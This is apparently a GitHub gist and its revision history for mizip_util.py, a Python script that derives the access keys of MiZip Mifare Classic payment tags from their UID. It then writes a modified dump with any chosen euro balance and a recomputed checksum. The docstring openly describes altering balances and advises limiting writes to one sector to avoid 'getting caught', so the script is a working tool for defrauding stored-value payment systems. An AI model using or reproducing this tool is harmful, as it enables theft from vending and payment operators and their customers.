    parser.add_argument("--keys-only", help="Only generate the decryption keys for the tag (use in the Mifare Classic Tool app). Useful if you do not have a dump file yet",
    action="store_true", default=False)
    parser.add_argument("--dump-keys", "-k", help="Writes the keys to the given file. Note: The file is created if it does not exist and overwritten if it does!")
    parser.add_argument("--balance", "-b", help="Generates a new dump with the balance set to the this value (floating point, in euros), defaults to 0.0",
    default=0.0, type=float)
    parser.add_argument("--dump", "-d", help="The path to an .mct dump of the sectors of the MiZip tag (create it via the Mifare Classic Tool app)")
    parser.add_argument("--dump-only", help="Only generate an updated dump file and skip key generation. Cannot be used with --keys-only", action="store_true")
    parser.add_argument("--dump-output", "-o", help="Writes the newly generated dump to the given file. Note: The file is created if it does not exist and overwritten if it does!")
    parser.add_argument("--skip-checksum", help="Skip checking the block-wise checksum in each sector starting from 1. Recommended if you're using an old dump from a non-mizip tag",
    action="store_true")
    parser.add_argument("--set-uid", help="Generate a new UID and its corresponding BCC and dump it in the new .mct file. This will only affect the tag if block 0 in sector 0 is writable", default="")
    parser.add_argument("--skip-bcc", help="Skip checking the BCC derived from the tag's UID (not recommended)")
    main(parser.parse_args())
  16. @nocturn9x nocturn9x revised this gist Dec 17, 2021. No changes.
  17. @nocturn9x nocturn9x revised this gist Dec 16, 2021. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -69,7 +69,7 @@ def calc_block(original: str, balance: float) -> str:
    # of the first 2 bytes of block 2 (55 = block 1, AA = block 0). This can be
    # checked by looking at the third and fourth byte of block 2, which should mirror
    # the last 2 bytes of the block containing the balance (this pattern appears to be
    # a generic checksum applied to all sectors, except for the first block).
    # a generic checksum applied to all sectors, except for sector 0).
    # The first 2 bytes of the block (0 or 1) are untouched, the next four
    # encode the balance (in cents, so 1 euro = 100 cents) in hexadecimal
    # with each pair of bytes swapped (so ABCD becomes CDAB) and the next 2 bytes
  18. @nocturn9x nocturn9x revised this gist Dec 16, 2021. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -176,7 +176,7 @@ def parse_dump(file: str) -> List[List[str]]:
    for xorKey, _ in XORTABLE: # We first print all the A keys, then all the B keys, as this is the format MCT expects
    print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'A')}")
    print(f"# B\n{SECTOR_0_KEYS[1]}")
    for i, (_, xorKey) in enumerate(XORTABLE):
    for _, xorKey in XORTABLE:
    print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'B')}")
    if not arguments.keys_only:
    if not arguments.dump:
  19. @nocturn9x nocturn9x revised this gist Dec 16, 2021. 1 changed file with 0 additions and 1 deletion.
    1 change: 0 additions & 1 deletion mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -126,7 +126,6 @@ def parse_dump(file: str) -> List[List[str]]:
    result[sector].append(m.group(1))
    else:
    raise ValueError(f"error while parsing {file!r} at line {line}: invalid data in dump file")
    from pprint import pprint
    # This is where we check the sector checksums
    for i, sector in enumerate(result[1:]): # Sector 1 is different so we skip it
    if len(sector) < 2:
  20. @nocturn9x nocturn9x revised this gist Dec 16, 2021. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -92,8 +92,8 @@ def parse_dump(file: str) -> List[List[str]]:
    Tool. Note that this function makes no assumption about
    the number of sectors or blocks and will happily parse a
    2000-block sector (which is probably not gonna fit anywhere).
    Returns a list of lists
    each element in the tuple is a block (in hexadecimal). Raises a
    Returns a list of lists where each list is a sector and each
    element in a sublist is a block (in hexadecimal). Raises a
    ValueError exception if the given file does not exist or upon
    a parsing error. The file path is used as-is and is passed directly
    to Python's builtin open() function
  21. @nocturn9x nocturn9x revised this gist Dec 16, 2021. No changes.
  22. @nocturn9x nocturn9x revised this gist Dec 16, 2021. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -3,7 +3,7 @@
    A simple, decently written and modern Python 3.8+ tool to
    ease the altering of balance with MiZip Mifare tags. It can
    generate keys for decryption of sectors using the Mifare Classic
    Tool app available on the google play store, as well as automate
    Tool application available on Android and on desktop, as well as automate
    the generation of block 0/1 of sector 2 to alter a tag's balance. It
    is recommended to avoid overwriting all but sector 2 to minimize
    the probability of getting caught
  23. @nocturn9x nocturn9x revised this gist Dec 16, 2021. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -4,7 +4,7 @@
    ease the altering of balance with MiZip Mifare tags. It can
    generate keys for decryption of sectors using the Mifare Classic
    Tool app available on the google play store, as well as automate
    the generation of block 1 of sector 2 to alter a tag's balance. It
    the generation of block 0/1 of sector 2 to alter a tag's balance. It
    is recommended to avoid overwriting all but sector 2 to minimize
    the probability of getting caught
    """
  24. @nocturn9x nocturn9x revised this gist Dec 16, 2021. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -57,8 +57,8 @@ def calc_block(original: str, balance: float) -> str:
    performed on the input, the intermediate results, as well as
    the output: those can be turned off by enabling the highest
    level of optimizations when calling python, but this is
    not recommended. Note that this function assumes that the
    not recommended.
    Note: This function expects that the needed validation to tell
    which block (either 0 or 1) of sector 2 of the tag contains the
    balance has been performed
  25. @nocturn9x nocturn9x revised this gist Dec 16, 2021. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -32,7 +32,7 @@
    'A': (0, 1, 2, 3, 0, 1),
    'B': (2, 3, 0, 1, 2, 3)
    }
    # Sector 0 use constant hardcoded keys, and so do we
    # Sector 0 uses constant hardcoded keys, and so do we
    SECTOR_0_KEYS = ("a0a1a2a3a4a5", "b4c132439eef")


  26. @nocturn9x nocturn9x created this gist Dec 16, 2021.
    210 changes: 210 additions & 0 deletions mizip_util.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,210 @@
    #!/usr/bin/env python
    """
    A simple, decently written and modern Python 3.8+ tool to
    ease the altering of balance with MiZip Mifare tags. It can
    generate keys for decryption of sectors using the Mifare Classic
    Tool app available on the google play store, as well as automate
    the generation of block 1 of sector 2 to alter a tag's balance. It
    is recommended to avoid overwriting all but sector 2 to minimize
    the probability of getting caught
    """
    from re import match
    from sys import exit
    from typing import List
    from time import strftime
    from os.path import exists, isfile
    from argparse import ArgumentParser

    # These handy constants, as well as the algorithm, come from https://gist.github.com/y0no/70565a8d09203122181f3b3a08bffcbd#file-mizip_calc-py,
    # which in turn got them from https://github.com/iceman1001/proxmark3/blob/master/client/scripts/calc_mizip.lua whose author states that they
    # did not find out this algorithm (and probably the constants as well?) on their own. I guess it's stealing all the way down!
    # This is a 6-byte big-endian XOR table, if you're wondering
    XORTABLE = (
    (0x09125a2589e5, 0xF12C8453D821),
    (0xAB75C937922F, 0x73E799FE3241),
    (0xE27241AF2C09, 0xAA4D137656AE),
    (0x317AB72F4490, 0xB01327272DFD),
    )
    # These tell calc_key which byte of the UID are
    # XORed with which byte of the XOR offset in the
    # table above to generate either an A or a B key
    KEY_IDX = {
    'A': (0, 1, 2, 3, 0, 1),
    'B': (2, 3, 0, 1, 2, 3)
    }
    # Sector 0 use constant hardcoded keys, and so do we
    SECTOR_0_KEYS = ("a0a1a2a3a4a5", "b4c132439eef")


    def calc_key(uid: bytes, xor: bytes, kind: str) -> str:
    """
    Calculates the encryption key (either A or B),
    for a given entry in the XOR table. Raises a
    ValueError exception if the given key type is
    not valid
    """

    if (idx := KEY_IDX.get(kind)) is None:
    raise ValueError(f"invalid key type: {kind!r}")
    return "".join([f'{uid[j] ^ xor[i]:02x}' for i, j in enumerate(idx)])


    def calc_block(original: str, balance: float) -> str:
    """
    Calculates a replacement block for block 0 or 1 in sector
    2 by using the original block and generates a replacement
    with the desired new balance. Some amount of validation is
    performed on the input, the intermediate results, as well as
    the output: those can be turned off by enabling the highest
    level of optimizations when calling python, but this is
    not recommended. Note that this function assumes that the
    Note: This function expects that the needed validation to tell
    which block (either 0 or 1) of sector 2 of the tag contains the
    balance has been performed
    """

    # TL;DR: In a MiZip Mifare tag, the balance is encoded in sector 2.
    # Specifically it's located either in block 1 or 0, depending on the value
    # of the first 2 bytes of block 2 (55 = block 1, AA = block 0). This can be
    # checked by looking at the third and fourth byte of block 2, which should mirror
    # the last 2 bytes of the block containing the balance (this pattern appears to be
    # a generic checksum applied to all sectors, except for the first block).
    # The first 2 bytes of the block (0 or 1) are untouched, the next four
    # encode the balance (in cents, so 1 euro = 100 cents) in hexadecimal
    # with each pair of bytes swapped (so ABCD becomes CDAB) and the next 2 bytes
    # are a checksum computed by XORing the first half of the preceding 4 bytes
    # with the second half. The rest of the block is unused for balance purposes
    # and contains an operation counter and other things we don't care about
    assert len(original) == 32, "The block size must be 32 bytes"
    hex_balance = hex(int(balance) * 100).strip("0x").zfill(4)
    assert len(hex_balance) == 4, f"Expecting the length of hex_balance to be 4, found {len(hex_balance)} instead (0x{hex_balance})"
    hex_balance = f"{hex_balance[2:]}{hex_balance[0:2]}"
    check = hex(int(hex_balance[0:2], base=16) ^ int(hex_balance[2:], base=16)).strip("0x").zfill(2)
    new_block = f"{original[0:2]}{hex_balance}{check}{original[8:]}".upper()
    assert len(new_block) == 32, f"The new block size is != 32 ({len(new_block)}): Balance too high?"
    return new_block


    def parse_dump(file: str) -> List[List[str]]:
    """
    Parses a given .mct file as produced by Mifare Classic
    Tool. Note that this function makes no assumption about
    the number of sectors or blocks and will happily parse a
    2000-block sector (which is probably not gonna fit anywhere).
    Returns a list of lists
    each element in the tuple is a block (in hexadecimal). Raises a
    ValueError exception if the given file does not exist or upon
    a parsing error. The file path is used as-is and is passed directly
    to Python's builtin open() function
    """

    if not exists(file):
    raise ValueError("error while reading {file!r}: path does not exist")
    elif not isfile(file):
    raise ValueError("error while reading {file!r}: path does not point to a file")
    result = []
    sector = 0
    line = 0
    with open(file) as fp:
    contents = fp.readlines()
    while contents:
    line += 1
    section = contents.pop(0)
    if section.startswith("#"):
    continue # Comments on their own line
    elif m := match(r"\+Sector: ([0-9]+)", section):
    sector = int(m.group(1))
    if len(result) == sector:
    # New sector!
    result.append([])
    else:
    raise ValueError(f"error while parsing {file!r} at line {line}: expecting sector {len(result)}, got {sector} instead")
    elif m := match(r"^([a-zA-z0-9]+)(\s)*(#.+$)*", section): # This match makes us ignore comments!
    if len(m.group(1)) != 32:
    raise ValueError(f"error while parsing {file!r} at line {line}: invalid block length (expecting 32, found {len(m.group(1))} instead)")
    result[sector].append(m.group(1))
    else:
    raise ValueError(f"error while parsing {file!r} at line {line}: invalid data in dump file")
    from pprint import pprint
    # This is where we check the sector checksums
    for i, sector in enumerate(result[1:]): # Sector 1 is different so we skip it
    if len(sector) < 2:
    raise ValueError(f"Error when validating {file!r} at sector {i + 1}: too few blocks (expecting >= 2, found {len(sector)} instead)")
    if (sector[2][:2] == "55" and sector[1][-2:] == sector[2][2:4]) or (sector[2][:2] == "AA" and sector[0][-2:] == sector[2][2:4]):
    # Checksum is valid!
    continue
    else:
    raise ValueError(f"Error when validating {file!r} at sector {i + 1}: sector check mismatch or invalid block 2")
    return result


    if __name__ == '__main__':
    parser = ArgumentParser(prog="mizip_util", description="A simple tool to ease the altering of balance with MiZip Mifare tags. It can generate keys"
    " for decryption of sectors using Mifare Classic Tool as well modified dumps to alter a tag's balance")
    parser.add_argument("--uid", "-u", help="The UID of the tag (use any NFC reader app to find that out), for example 1123FD4E",
    required=True)
    parser.add_argument("--keys-only", help="Only generate the decryption keys for the tag (use in the Mifare Classic Tool app). Useful if you do not have a dump file yet",
    action="store_true", default=False)
    parser.add_argument("--dump-keys", "-k", help="Writes the keys to the given file. Note: The file is created if it does not exist and overwritten if it does!")
    parser.add_argument("--balance", "-b", help="Generates a new dump with the balance set to the this value (floating point, in euros), defaults to 0.0",
    default=0.0, type=float)
    parser.add_argument("--dump", "-d", help="The path to an .mct dump of the sectors of the MiZip tag (create it via the Mifare Classic Tool app)")
    parser.add_argument("--dump-output", "-o", help="Writes the newly generated dump to the given file. Note: The file is created if it does not exist and overwritten if it does!")
    arguments = parser.parse_args()
    try:
    if len(arguments.uid) != 8:
    print("You have provided an invalid UID! It must be of the form XXXXXXXX")
    exit(1)
    try:
    uid = bytes.fromhex(arguments.uid)
    except ValueError:
    print("The provided UID is invalid! Make sure it doesn't contain spurious characters such as ':' or '-'")
    exit(1)
    if arguments.dump_keys:
    print(f"Writing A/B keys for MiZip Mifare tag with UID {arguments.uid} to {arguments.dump_keys!r}")
    with open(arguments.dump_keys, "w") as keys:
    print(f"# Generated with mizip_util by @nocturn9x for tag with UID {arguments.uid} on {strftime('%d/%m/%Y %H:%M:%S %p')}", file=keys)
    print(f"# A\n{SECTOR_0_KEYS[0]}", file=keys)
    for xorKey, _ in XORTABLE: # We first print all the A keys, then all the B keys, as this is the format MCT expects
    print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'A')}", file=keys)
    print(f"# B\n{SECTOR_0_KEYS[1]}", file=keys)
    for _, xorKey in XORTABLE:
    print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'B')}", file=keys)
    else:
    print(f"Generating A/B keys for MiZip Mifare tag with UID {arguments.uid}")
    print(f"# A\n{SECTOR_0_KEYS[0]}")
    for xorKey, _ in XORTABLE: # We first print all the A keys, then all the B keys, as this is the format MCT expects
    print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'A')}")
    print(f"# B\n{SECTOR_0_KEYS[1]}")
    for i, (_, xorKey) in enumerate(XORTABLE):
    print(f"{calc_key(uid, xorKey.to_bytes(6, 'big'), 'B')}")
    if not arguments.keys_only:
    if not arguments.dump:
    print("You must provide the original dump of your MiZip tag to alter the balance!")
    quit(1)
    print(f"Generating new dump with updated balance of {arguments.balance:.2f} euros ({int(arguments.balance) * 100} cents)")
    dump = parse_dump(arguments.dump)
    if dump[2][2][:2] == "55":
    print(f"Balance block is 1")
    balance_block = (2, 1)
    else:
    # parse_dump already checks the rest so we only need an else
    print("Balance block is 0")
    balance_block = (2, 0)
    # We replace the block containing the original balance with a new one with a different balance
    dump[balance_block[0]][balance_block[1]] = calc_block(dump[balance_block[0]][balance_block[1]], arguments.balance)
    if arguments.dump_output:
    print(f"Writing new dump to {arguments.dump_output!r}")
    with open(arguments.dump_output, "w") as output:
    for i, sector in enumerate(dump):
    print(f"+Sector: {i}", file=output)
    for block in sector:
    print(block, file=output)
    else:
    for i, sector in enumerate(dump):
    print(f"+Sector: {i}")
    for block in sector:
    print(block)
    except Exception as error:
    print(f"An error occurred while working -> {type(error).__name__}: {error}")